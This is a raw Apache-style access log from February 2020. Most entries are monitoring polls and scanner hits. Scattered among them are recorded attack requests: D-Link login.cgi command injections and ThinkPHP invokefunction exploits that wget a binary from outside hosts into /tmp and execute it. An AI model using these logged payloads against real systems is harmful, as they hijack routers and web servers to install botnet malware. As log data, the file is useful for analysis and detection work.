51.254.59.113 - - [24/Feb/2020:13:23:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:13:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [24/Feb/2020:13:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:13:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.167.230 - - [24/Feb/2020:13:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:13:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [24/Feb/2020:13:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:13:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.25.130 - - [24/Feb/2020:13:36:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:13:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.230.165.133 - - [24/Feb/2020:13:39:07 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [24/Feb/2020:13:39:08 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [24/Feb/2020:13:39:08 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [24/Feb/2020:13:39:10 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [24/Feb/2020:13:39:11 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [24/Feb/2020:13:39:11 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [24/Feb/2020:13:39:12 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [24/Feb/2020:13:39:13 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
59.7.155.141 - - [24/Feb/2020:13:39:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.230.165.133 - - [24/Feb/2020:13:39:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
59.7.155.141 - - [24/Feb/2020:13:39:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:13:39:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:13:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [24/Feb/2020:13:39:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:13:39:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:13:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.134.233.218 - - [24/Feb/2020:13:40:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:13:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.247.75.107 - - [24/Feb/2020:13:43:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
186.226.219.117 - - [24/Feb/2020:13:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:13:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:13:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:13:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:13:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:13:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:13:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [24/Feb/2020:13:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:13:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:13:57:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:13:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.94.135.133 - - [24/Feb/2020:14:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:14:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.188.65.123 - - [24/Feb/2020:14:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:14:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.173.213.234 - - [24/Feb/2020:14:11:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://51.77.73.36/sunless/sunless.x86 -O /tmp/sunlesswashere; chmod 777 /tmp/sunlesswashere; /tmp/sunlesswashere rep.thinkphp' HTTP/1.1" 404 310 "-" "thinkphp/2.0"
212.91.246.72 - - [24/Feb/2020:14:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:14:14:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:14:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.226.32.170 - - [24/Feb/2020:14:16:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:14:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:14:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:14:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [24/Feb/2020:14:17:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:14:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:14:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:14:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:14:23:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:14:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.181.120.18 - - [24/Feb/2020:14:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:14:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [24/Feb/2020:14:37:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
169.197.108.6 - - [24/Feb/2020:14:38:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:14:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.100.26.233 - - [24/Feb/2020:14:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [24/Feb/2020:14:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.63.72.113 - - [24/Feb/2020:14:45:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.161.126.163 - - [24/Feb/2020:14:45:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:14:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.64.210.232 - - [24/Feb/2020:14:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:14:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.248.46.36 - - [24/Feb/2020:14:51:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:14:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:14:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:15:00:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:15:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.217.213.201 - - [24/Feb/2020:15:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.178.8.198 - - [24/Feb/2020:15:01:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [24/Feb/2020:15:01:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [24/Feb/2020:15:01:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [24/Feb/2020:15:02:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:15:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
